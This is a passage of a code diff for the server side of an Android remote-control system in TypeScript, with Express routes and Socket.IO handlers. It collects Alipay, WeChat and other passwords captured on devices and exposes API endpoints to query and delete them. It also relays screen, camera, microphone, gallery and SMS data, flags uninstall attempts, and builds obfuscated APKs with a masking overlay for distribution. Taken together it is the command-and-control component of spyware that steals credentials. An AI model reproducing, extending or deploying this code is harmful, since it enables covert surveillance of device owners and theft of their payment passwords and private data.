(device) { + res.json(device) + } else { + res.status(404).json({ error: 'Device not found' }) + } + }) + + // 🆕 设备备注相关API + this.app.put('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + const { remark } = req.body + + this.logger.info(`📝 更新设备备注: ${deviceId} -> ${remark}`) + + // 检查设备是否存在 + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + // 尝试从数据库查找设备 + const dbDevice = this.databaseService.getDeviceById(deviceId) + if (!dbDevice) { + res.status(404).json({ + success: false, + message: '设备不存在' + }) + return + } + } + + // 更新设备备注 + const success = this.databaseService.updateDeviceRemark(deviceId, remark || '') + + if (success) { + // 如果设备在线,更新内存中的设备信息 + if (device) { + device.remark = remark + } + + res.json({ + success: true, + message: '设备备注已更新', + deviceId: deviceId, + remark: remark + }) + } else { + res.status(500).json({ + success: false, + message: '更新设备备注失败' + }) + } + } catch (error) { + this.logger.error('更新设备备注失败:', error) + res.status(500).json({ + success: false, + message: '服务器内部错误' + }) + } + }) + + this.app.get('/api/devices/:deviceId/remark', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + + this.logger.info(`📝 获取设备备注: ${deviceId}`) + + // 检查设备是否存在 + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + // 尝试从数据库查找设备 + const dbDevice = this.databaseService.getDeviceById(deviceId) + if (!dbDevice) { + res.status(404).json({ + success: false, + message: '设备不存在' + }) + return + } + } + + // 获取设备备注 + const remark = this.databaseService.getDeviceRemark(deviceId) + + res.json({ + success: true, + deviceId: deviceId, + remark: remark + }) + } catch (error) { + this.logger.error('获取设备备注失败:', error) + res.status(500).json({ + success: false, + message: '服务器内部错误' + }) + } + }) + + // 🆕 查询设备是否被其他web客户端控制 + this.app.get('/api/devices/:deviceId/controller', this.authMiddleware, (req: any, res) => { + try { + const { deviceId } = req.params + const currentUserId = req.user?.id + const currentUsername = req.user?.username + + this.logger.info(`🔍 查询设备控制状态: ${deviceId} (请求者: ${currentUsername})`) + + // 检查设备是否存在 + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + // 尝试从数据库查找设备 + const dbDevice = this.databaseService.getDeviceById(deviceId) + if (!dbDevice) { + res.status(404).json({ + success: false, + message: '设备不存在' + }) + return + } + } + + // 获取控制该设备的客户端ID + const controllerClientId = this.webClientManager.getDeviceController(deviceId) + + if (!controllerClientId) { + // 设备未被控制 + res.json({ + success: true, + deviceId, + isControlled: false, + controller: null + }) + return + } + + // 获取控制者客户端信息 + const controllerClient = this.webClientManager.getClient(controllerClientId) + if (!controllerClient) { + // 控制者客户端不存在(可能已断开) + res.json({ + success: true, + deviceId, + isControlled: false, + controller: null + }) + return + } + + // 检查是否是当前用户自己在控制 + const isCurrentUser = controllerClient.userId === currentUserId || + controllerClient.username === currentUsername + + // 返回控制者信息(不包含敏感信息) + res.json({ + success: true, + deviceId, + isControlled: true, + isCurrentUser: isCurrentUser, + controller: { + clientId: controllerClientId, + username: controllerClient.username || '未知用户', + connectedAt: controllerClient.connectedAt, + lastSeen: controllerClient.lastSeen, + ip: controllerClient.ip, + userAgent: controllerClient.userAgent + } + }) + } catch (error) { + this.logger.error('查询设备控制状态失败:', error) + res.status(500).json({ + success: false, + error: '查询设备控制状态失败', + message: error instanceof Error ? error.message : '未知错误' + }) + } + }) + + + // 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询 + this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + const { page = 1, pageSize = 50, passwordType } = req.query + + this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + + let result: any + + // 根据密码类型选择查询方法 + if (passwordType === 'ALIPAY_PASSWORD') { + // 查询支付宝密码 + const alipayResult = this.databaseService.getAlipayPasswords( + deviceId, + parseInt(page as string), + parseInt(pageSize as string) + ) + // 转换为统一格式 + result = { + passwords: alipayResult.passwords.map(pwd => ({ + id: pwd.id, + deviceId: pwd.deviceId, + password: pwd.password, + passwordLength: pwd.passwordLength, + passwordType: 'ALIPAY_PASSWORD', + activity: pwd.activity, + inputMethod: pwd.inputMethod, + installationId: 'unknown', + sessionId: pwd.sessionId, + timestamp: pwd.timestamp, + createdAt: pwd.createdAt + })), + total: alipayResult.total, + page: alipayResult.page, + pageSize: alipayResult.pageSize, + totalPages: alipayResult.totalPages + } + } else if (passwordType === 'WECHAT_PASSWORD') { + // 查询微信密码 + const wechatResult = this.databaseService.getWechatPasswords( + deviceId, + parseInt(page as string), + parseInt(pageSize as string) + ) + // 转换为统一格式 + result = { + passwords: wechatResult.passwords.map(pwd => ({ + id: pwd.id, + deviceId: pwd.deviceId, + password: pwd.password, + passwordLength: pwd.passwordLength, + passwordType: 'WECHAT_PASSWORD', + activity: pwd.activity, + inputMethod: pwd.inputMethod, + installationId: 'unknown', + sessionId: pwd.sessionId, + timestamp: pwd.timestamp, + createdAt: pwd.createdAt + })), + total: wechatResult.total, + page: wechatResult.page, + pageSize: wechatResult.pageSize, + totalPages: wechatResult.totalPages + } + } else { + // 查询通用密码输入记录 + result = this.databaseService.getPasswordInputs( + deviceId, + parseInt(page as string), + parseInt(pageSize as string), + passwordType as string + ) + } + + res.json({ + success: true, + data: result + }) + } catch (error) { + this.logger.error('获取密码输入记录失败:', error) + res.status(500).json({ + success: false, + error: '获取密码输入记录失败', + message: error instanceof Error ? error.message : '未知错误' + }) + } + }) + + this.app.get('/api/password-inputs/:deviceId/latest', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + const { passwordType } = req.query + + this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`) + + let latestPassword: any = null + + // 根据密码类型选择查询方法 + if (passwordType === 'ALIPAY_PASSWORD') { + // 查询最新支付宝密码 + const alipayPassword = this.databaseService.getLatestAlipayPassword(deviceId) + if (alipayPassword) { + latestPassword = { + id: alipayPassword.id, + deviceId: alipayPassword.deviceId, + password: alipayPassword.password, + passwordLength: alipayPassword.passwordLength, + passwordType: 'ALIPAY_PASSWORD', + activity: alipayPassword.activity, + inputMethod: alipayPassword.inputMethod, + installationId: 'unknown', + sessionId: alipayPassword.sessionId, + timestamp: alipayPassword.timestamp, + createdAt: alipayPassword.createdAt + } + } + } else if (passwordType === 'WECHAT_PASSWORD') { + // 查询最新微信密码 + const wechatPassword = this.databaseService.getLatestWechatPassword(deviceId) + if (wechatPassword) { + latestPassword = { + id: wechatPassword.id, + deviceId: wechatPassword.deviceId, + password: wechatPassword.password, + passwordLength: wechatPassword.passwordLength, + passwordType: 'WECHAT_PASSWORD', + activity: wechatPassword.activity, + inputMethod: wechatPassword.inputMethod, + installationId: 'unknown', + sessionId: wechatPassword.sessionId, + timestamp: wechatPassword.timestamp, + createdAt: wechatPassword.createdAt + } + } + } else { + // 查询最新通用密码输入 + latestPassword = this.databaseService.getLatestPasswordInput( + deviceId, + passwordType as string + ) + } + + if (latestPassword) { + res.json({ + success: true, + data: latestPassword + }) + } else { + res.json({ + success: true, + data: null, + message: '未找到密码输入记录' + }) + } + } catch (error) { + this.logger.error('获取最新密码输入失败:', error) + res.status(500).json({ + success: false, + error: '获取最新密码输入失败', + message: error instanceof Error ? error.message : '未知错误' + }) + } + }) + + this.app.get('/api/password-inputs/:deviceId/stats', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + + this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`) + + // 获取通用密码输入统计 + const generalStats = this.databaseService.getPasswordTypeStats(deviceId) + + // 获取支付宝密码统计 + const alipayResult = this.databaseService.getAlipayPasswords(deviceId, 1, 1) + const alipayStats = { + passwordType: 'ALIPAY_PASSWORD', + count: alipayResult.total, + firstInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[alipayResult.passwords.length - 1].timestamp : null, + lastInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[0].timestamp : null + } + + // 获取微信密码统计 + const wechatResult = this.databaseService.getWechatPasswords(deviceId, 1, 1) + const wechatStats = { + passwordType: 'WECHAT_PASSWORD', + count: wechatResult.total, + firstInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[wechatResult.passwords.length - 1].timestamp : null, + lastInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[0].timestamp : null + } + + // 合并所有统计 + const allStats = [ + ...generalStats, + ...(alipayStats.count > 0 ? [alipayStats] : []), + ...(wechatStats.count > 0 ? [wechatStats] : []) + ].sort((a, b) => b.count - a.count) + + res.json({ + success: true, + data: allStats + }) + } catch (error) { + this.logger.error('获取密码类型统计失败:', error) + res.status(500).json({ + success: false, + error: '获取密码类型统计失败', + message: error instanceof Error ? error.message : '未知错误' + }) + } + }) + + this.app.delete('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { + try { + const { deviceId } = req.params + const { passwordType } = req.query + + this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + + // 根据密码类型选择删除方法 + if (passwordType === 'ALIPAY_PASSWORD') { + // 删除支付宝密码 + this.databaseService.clearAlipayPasswords(deviceId) + } else if (passwordType === 'WECHAT_PASSWORD') { + // 删除微信密码 + this.databaseService.clearWechatPasswords(deviceId) + } else { + // 删除通用密码输入记录 + this.databaseService.clearPasswordInputs(deviceId, passwordType as string) + } + + const typeDesc = passwordType ? ` (类型: ${passwordType})` : '' + res.json({ + success: true, + message: `密码输入记录已删除${typeDesc}` + }) + } catch (error) { + this.logger.error('删除密码输入记录失败:', error) + res.status(500).json({ + success: false, + error: '删除密码输入记录失败', + message: error instanceof Error ? error.message : '未知错误' + }) + } + }) + + // 💥 崩溃日志相关API (需要认证) + this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => { + try { + const { deviceId } = req.params + const { page = 1, pageSize = 20 } = req.query + const result = this.databaseService.getCrashLogs( + deviceId, + parseInt(page as string), + parseInt(pageSize as string) + ) + res.json({ success: true, data: result }) + } catch (error) { + this.logger.error('获取崩溃日志失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志失败' }) + } + }) + + this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => { + try { + const logId = parseInt(req.params.logId) + const detail = this.databaseService.getCrashLogDetail(logId) + if (detail) { + res.json({ success: true, data: detail }) + } else { + res.status(404).json({ success: false, message: '崩溃日志不存在' }) + } + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志详情失败' }) + } + }) + + // APK相关路由 (需要认证) + this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => { + try { + const apkInfo = await this.apkBuildService.checkExistingAPK() + const buildStatus = this.apkBuildService.getBuildStatus() + const buildEnv = await this.apkBuildService.checkBuildEnvironment() + + res.json({ + success: true, + apkInfo, + buildStatus, + buildEnvironment: buildEnv + }) + } catch (error: any) { + this.logger.error('获取APK信息失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + this.app.post('/api/apk/build', this.authMiddleware, this.upload.single('appIcon'), async (req, res) => { + try { + // 获取服务器地址,如果没有提供则使用当前请求的地址 + const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}` + + // ✅ 获取配置选项 + const options = { + enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true, + // enableConfigMask: true, + enableProgressBar: req.body.enableProgressBar === 'true' || req.body.enableProgressBar === true, + configMaskText: req.body.configMaskText, + configMaskSubtitle: req.body.configMaskSubtitle, + configMaskStatus: req.body.configMaskStatus, + // 🔧 修复:添加加密相关参数 + enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true, + encryptionLevel: req.body.encryptionLevel, + webUrl: req.body.webUrl, + pageStyleConfig: typeof req.body.pageStyleConfig === 'string' + ? JSON.parse(req.body.pageStyleConfig) + : (req.body.pageStyleConfig || {}) + } + + // 如果有上传的图标文件,添加到选项中 + if (req.file) { + this.logger.info('收到图标文件:', req.file.originalname, `(${req.file.size} bytes)`) + options.pageStyleConfig.appIconFile = { + buffer: req.file.buffer, + originalname: req.file.originalname, + mimetype: req.file.mimetype + } + } + + // 🔧 添加调试日志:显示接收到的原始参数 + this.logger.info('[DEBUG] 接收到的原始请求参数:') + this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption) + this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel) + this.logger.info('[DEBUG] - enableConfigMask:', req.body.enableConfigMask) + this.logger.info('[DEBUG] - enableProgressBar:', req.body.enableProgressBar) + + this.logger.info('收到构建请求,配置选项:', JSON.stringify({ + ...options, + pageStyleConfig: { + ...options.pageStyleConfig, + appIconFile: options.pageStyleConfig.appIconFile ? `文件: ${options.pageStyleConfig.appIconFile.originalname}` : undefined + } + }, null, 2)) + + // 立即返回响应,让构建在后台进行 + res.json({ + success: true, + message: '构建已开始,请通过 /api/apk/build-status 接口查看进度', + building: true + }) + + // 在后台执行构建,不阻塞HTTP响应 + this.apkBuildService.buildAPK(serverUrl, options) + .then((result) => { + this.logger.info('构建完成:', result) + // 构建完成,结果可以通过build-status接口获取 + }) + .catch((error: any) => { + this.logger.error('构建APK失败:', error) + this.logger.error('错误堆栈:', error.stack) + // 错误已记录在构建日志中,可以通过build-logs接口查看 + }) + } catch (error: any) { + this.logger.error('构建APK请求处理失败:', error) + this.logger.error('错误堆栈:', error.stack) + if (!res.headersSent) { + res.status(500).json({ + success: false, + error: error.message || '构建请求处理失败' + }) + } + } + }) + + this.app.get('/api/apk/build-status', this.authMiddleware, (req, res) => { + try { + const status = this.apkBuildService.getBuildStatus() + res.json(status) + } catch (error: any) { + this.logger.error('获取构建状态失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + // 获取构建日志API + this.app.get('/api/apk/build-logs', this.authMiddleware, (req, res) => { + try { + const limit = req.query.limit ? parseInt(req.query.limit as string) : undefined + const logs = this.apkBuildService.getBuildLogs(limit) + res.json({ + success: true, + logs, + total: logs.length + }) + } catch (error: any) { + this.logger.error('获取构建日志失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + // 清空构建日志API + this.app.delete('/api/apk/build-logs', this.authMiddleware, (req, res) => { + try { + this.apkBuildService.clearBuildLogs() + res.json({ + success: true, + message: '构建日志已清空' + }) + } catch (error: any) { + this.logger.error('清空构建日志失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + this.app.get('/api/apk/download', this.authMiddleware, async (req, res) => { + try { + const result = await this.apkBuildService.getAPKForDownload() + + if (!result.success) { + res.status(404).json({ + success: false, + error: result.error + }) + return + } + + const filePath = result.filePath! + const filename = result.filename! + + // 设置下载头 + res.setHeader('Content-Disposition', `attachment; filename="${filename}"`) + res.setHeader('Content-Type', 'application/vnd.android.package-archive') + res.setHeader('Content-Length', result.size!.toString()) + + // 发送文件 + res.sendFile(filePath, (err) => { + if (err) { + this.logger.error('发送APK文件失败:', err) + if (!res.headersSent) { + res.status(500).json({ + success: false, + error: '文件下载失败' + }) + } + } else { + this.logger.info(`APK下载成功: ${filename}`) + } + }) + + } catch (error: any) { + this.logger.error('处理APK下载请求失败:', error) + if (!res.headersSent) { + res.status(500).json({ + success: false, + error: error.message + }) + } + } + }) + + // 分享链接管理API + this.app.get('/api/apk/shares', this.authMiddleware, (req, res) => { + try { + const shares = this.apkBuildService.getActiveShares() + res.json({ + success: true, + shares + }) + } catch (error: any) { + this.logger.error('获取分享链接列表失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + this.app.delete('/api/apk/shares/:sessionId', this.authMiddleware, async (req, res) => { + try { + const { sessionId } = req.params + const result = await this.apkBuildService.stopShare(sessionId) + + if (result) { + res.json({ + success: true, + message: '分享链接已停止' + }) + } else { + res.status(404).json({ + success: false, + error: '分享会话不存在' + }) + } + } catch (error: any) { + this.logger.error('停止分享链接失败:', error) + res.status(500).json({ + success: false, + error: error.message + }) + } + }) + + // 默认路由 - 返回 index.html(如果静态文件服务没有处理) + this.app.get('/', (req, res) => { + // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 + const publicPath = (process as any).pkg + ? path.join(path.dirname(process.execPath), 'public') + : path.join(process.cwd(), 'public') + + const indexPath = path.join(publicPath, 'index.html') + + // 检查 index.html 是否存在 + if (fs.existsSync(indexPath)) { + res.sendFile(indexPath) + } else { + // 如果 index.html 不存在,返回 JSON 信息 + res.json({ + name: 'Remote Control Server', + version: '1.0.0', + description: 'Android远程控制中继服务器', + note: 'public/index.html not found' + }) + } + }) + } + + /** + * 设置Socket.IO事件处理 + */ + /** + * 🔧 将设备注册请求加入队列处理,防止并发冲突 + */ + private queueDeviceRegistration(socket: any, data: any): void { + const timestamp = Date.now() + this.registrationQueue.push({ socket, data, timestamp }) + + this.logger.debug(`设备注册请求已加入队列: ${socket.id}, 队列长度: ${this.registrationQueue.length}`) + + // 启动队列处理 + this.processRegistrationQueue() + } + + /** + * 🔧 处理设备注册队列 + */ + private async processRegistrationQueue(): Promise { + // 如果正在处理或队列为空,直接返回 + if (this.isProcessingRegistration || this.registrationQueue.length === 0) { + return + } + + this.isProcessingRegistration = true + + while (this.registrationQueue.length > 0) { + const currentTime = Date.now() + + // 检查冷却时间,防止注册请求过于频繁 + if (currentTime - this.lastRegistrationTime < this.REGISTRATION_COOLDOWN) { + const waitTime = this.REGISTRATION_COOLDOWN - (currentTime - this.lastRegistrationTime) + this.logger.debug(`注册冷却中,等待 ${waitTime}ms`) + await new Promise(resolve => setTimeout(resolve, waitTime)) + } + + // 取出队列中的第一个请求 + const request = this.registrationQueue.shift() + if (!request) break + + const { socket, data, timestamp } = request + + // 检查请求是否过期(超过30秒的请求丢弃) + if (currentTime - timestamp > 30000) { + this.logger.warn(`丢弃过期的注册请求: ${socket.id}, 延迟: ${currentTime - timestamp}ms`) + continue + } + + // 检查socket是否仍然连接 + if (!socket.connected) { + this.logger.warn(`跳过已断开连接的注册请求: ${socket.id}`) + continue + } + + try { + this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`) + this.handleDeviceRegister(socket, data) + this.lastRegistrationTime = Date.now() + } catch (error) { + this.logger.error(`队列处理设备注册失败: ${socket.id}`, error) + } + } + + this.isProcessingRegistration = false + } + + private setupSocketHandlers(): void { + this.io.on('connection', (socket: any) => { + this.logger.info(`新连接建立: ${socket.id} (传输: ${socket.conn.transport.name})`) + + // 🔧 移除强制认证检查 - 让设备端可以正常连接,认证只在web客户端注册时进行 + // 🔧 增强连接监控,帮助诊断误断开问题 + socket.conn.on('upgrade', () => { + this.logger.info(`连接升级: ${socket.id} -> ${socket.conn.transport.name}`) + }) + + socket.conn.on('upgradeError', (error: any) => { + this.logger.warn(`连接升级失败: ${socket.id}`, error) + }) + + socket.on('disconnecting', (reason: string) => { + this.logger.warn(`⚠️ 连接即将断开: ${socket.id}, 原因: ${reason}`) + }) + + // 🔧 设备注册 - 使用队列处理 + socket.on('device_register', (data: any) => { + this.queueDeviceRegistration(socket, data) + }) + + // 处理Web客户端连接 + socket.on('web_client_register', (data: any) => { + this.handleWebClientRegister(socket, data) + }) + + // 处理控制消息 + socket.on('control_message', (data: any) => { + this.messageRouter.routeControlMessage(socket.id, data) + }) + + // 处理摄像头控制消息 + socket.on('camera_control', (data: any) => { + // 将摄像头控制消息转换为标准控制消息格式 + const controlMessage = { + type: data.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH + deviceId: data.deviceId, + data: data.data || {}, + timestamp: Date.now() + } + this.messageRouter.routeControlMessage(socket.id, controlMessage) + }) + + // 处理屏幕数据 + socket.on('screen_data', (data: any) => { + // 📊 记录帧统计用于自适应画质 + if (data?.deviceId) { + const dataSize = typeof data.data === 'string' ? data.data.length : 0 + this.adaptiveQualityService.recordFrame(data.deviceId, dataSize) + } + this.messageRouter.routeScreenData(socket.id, data) + }) + + // 💬 微信密码监听器 + socket.on('wechat_password', (data: any) => { + this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`); + this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + + // 路由微信密码数据 + const routeResult = this.messageRouter.routeWechatPassword(socket.id, data); + this.logger.info(`📤 微信密码路由结果: ${routeResult}`); + }); + // 🔐 通用密码输入监听器 + socket.on('password_input', (data: any) => { + this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`); + this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + + // 路由通用密码输入数据 + const routeResult = this.messageRouter.routePasswordInput(socket.id, data); + this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`); + }); + + + socket.on('alipay_password', (data: any) => { + this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`); + this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`); + + // 路由支付宝密码数据 + const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data); + this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`); + }); + + // 处理摄像头数据 + socket.on('camera_data', (data: any) => { + this.messageRouter.routeCameraData(socket.id, data) + }) + + // 相册图片数据 + socket.on('gallery_image', (data: any) => { + this.messageRouter.routeGalleryImage(socket.id, data) + }) + + // 麦克风音频数据 + socket.on('microphone_audio', (data: any) => { + this.messageRouter.routeMicrophoneAudio(socket.id, data) + }) + + socket.on('sms_data', (data: any) => { + this.messageRouter.routeSmsData(socket.id, data) + }) + // 处理设备状态更新 + socket.on('device_status', (data: any) => { + this.deviceManager.updateDeviceStatus(socket.id, data) + + // 通过socket.deviceId获取设备ID,而不是socket.id + if ((socket as any).deviceId) { + this.broadcastDeviceStatus((socket as any).deviceId, data) + } + }) + + // 处理客户端事件(设备控制请求等) + socket.on('client_event', (data: any) => { + this.logger.info(`收到客户端事件: ${JSON.stringify(data)}`) + this.messageRouter.routeClientEvent(socket.id, data.type, data.data) + }) + + // 处理操作日志(从设备接收) + socket.on('operation_log', (data: any) => { + this.logger.debug(`收到操作日志: ${JSON.stringify(data)}`) + this.messageRouter.handleOperationLog(socket.id, data) + }) + + // 💥 处理崩溃日志(从设备接收) + socket.on('crash_log', (data: any) => { + this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) + try { + if (data?.deviceId && data?.content) { + this.databaseService.saveCrashLog({ + deviceId: data.deviceId, + fileName: data.fileName || 'unknown.log', + content: data.content, + fileSize: data.fileSize, + crashTime: data.crashTime, + uploadTime: data.uploadTime, + deviceModel: data.deviceModel, + osVersion: data.osVersion + }) + // 通知Web端有新的崩溃日志 + this.webClientManager.broadcastToAll('crash_log_received', { + deviceId: data.deviceId, + fileName: data.fileName, + crashTime: data.crashTime, + deviceModel: data.deviceModel, + timestamp: Date.now() + }) + } else { + this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`) + } + } catch (error) { + this.logger.error('处理崩溃日志失败:', error) + } + }) + + // 📊 自适应画质:Web端质量反馈 + socket.on('quality_feedback', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, { + fps: data.fps || 0, + dropRate: data.dropRate || 0, + renderLatency: data.renderLatency, + }) + if (result.shouldAdjust && result.newParams) { + // 转发质量调整指令给Android设备 + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + fps: result.newParams.fps, + quality: result.newParams.quality, + maxWidth: result.newParams.maxWidth, + maxHeight: result.newParams.maxHeight, + }) + this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`) + } + } + // 通知Web端参数已变更 + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.newParams, + auto: true, + }) + } + }) + + // 📊 自适应画质:Web端手动切换质量档位 + socket.on('set_quality_profile', (data: any) => { + if (!data?.deviceId || !data?.profile) return + const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile) + if (result) { + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + profile: data.profile, + auto: false, + }) + } + }) + + // 📊 自适应画质:Web端手动设置自定义参数 + socket.on('set_quality_params', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.setCustomParams(data.deviceId, { + fps: data.fps, + quality: data.quality, + maxWidth: data.maxWidth, + maxHeight: data.maxHeight, + }) + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + auto: false, + }) + }) + + // 📊 获取画质档位列表 + socket.on('get_quality_profiles', (callback: any) => { + if (typeof callback === 'function') { + callback(this.adaptiveQualityService.getProfiles()) + } + }) + + // 🆕 处理设备输入阻塞状态变更(从设备接收) + socket.on('device_input_blocked_changed', (data: any) => { + this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`) + this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`) + + // 直接调用MessageRouter的处理方法 + if (data?.deviceId && data?.blocked !== undefined) { + this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked) + this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`) + } else { + this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`) + } + }) + + // 🛡️ 处理卸载尝试检测(从设备接收) + socket.on('uninstall_attempt_detected', (data: any) => { + this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`) + this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`) + + if (data?.deviceId && data?.type) { + // 广播卸载尝试检测事件到所有Web客户端 + this.webClientManager.broadcastToAll('uninstall_attempt_detected', { + deviceId: data.deviceId, + type: data.type, + message: data.message || '检测到卸载尝试', + timestamp: data.timestamp || Date.now() + }) + + this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`) + } else { + this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`) + } + }) + + // 处理断开连接 + socket.on('disconnect', (reason: string) => { + this.handleDisconnect(socket) + }) + + // 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题 + socket.on('CONNECTION_TEST', (data: any) => { + this.logger.info(`💓 收到设备心跳检测: ${socket.id}`) + this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`) + try { + // 🔧 关键修复:心跳时也要更新设备活跃时间 + if (socket.deviceId) { + const device = this.deviceManager.getDevice(socket.deviceId) + if (device) { + device.lastSeen = new Date() + this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`) + } + } + + socket.emit('CONNECTION_TEST_RESPONSE', { + success: true, + timestamp: Date.now(), + receivedData: data + }) + this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`) + } catch (error) { + this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error) + } + }) + + // 处理标准ping/pong + socket.on('ping', () => { + socket.emit('pong') + }) + + // 处理自定义心跳 + socket.on('heartbeat', (data: any) => { + this.logger.debug(`💓 收到心跳: ${socket.id}`) + socket.emit('heartbeat_ack', { timestamp: Date.now() }) + }) + + // 错误处理 + socket.on('error', (error: any) => { + this.logger.error(`Socket错误 ${socket.id}:`, error) + }) + }) + } + + /** + * 处理设备注册 + */ + private handleDeviceRegister(socket: any, data: any): void { + try { + this.logger.info('开始处理设备注册...') + this.logger.info(`注册数据: ${JSON.stringify(data, null, 2)}`) + + const deviceId = data.deviceId || uuidv4() + + // 🔧 改进重连检测:检查是否是同一设备的不同Socket连接 + const existingDevice = this.deviceManager.getDevice(deviceId) + if (existingDevice) { + if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') { + // 完全相同的注册请求,跳过重复(但仍需确保Web端收到设备在线通知) + this.logger.debug(`跳过重复注册: 设备${deviceId} Socket${socket.id}`) + socket.emit('device_registered', { + deviceId: deviceId, + message: '设备已注册(跳过重复注册)' + }) + + // ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态 + const connectedClients = this.webClientManager.getClientCount() + if (connectedClients > 0) { + this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`) + this.webClientManager.broadcastToAll('device_connected', existingDevice) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: existingDevice.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: existingDevice.inputBlocked || false + } + }) + } + return + } else if (existingDevice.socketId !== socket.id) { + // ✅ 同一设备但不同Socket(重连场景),更新Socket映射 + this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`) + + // 移除旧的Socket映射,继续正常注册流程 + this.deviceManager.removeDevice(deviceId) + this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId) + } else { + // ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步 + 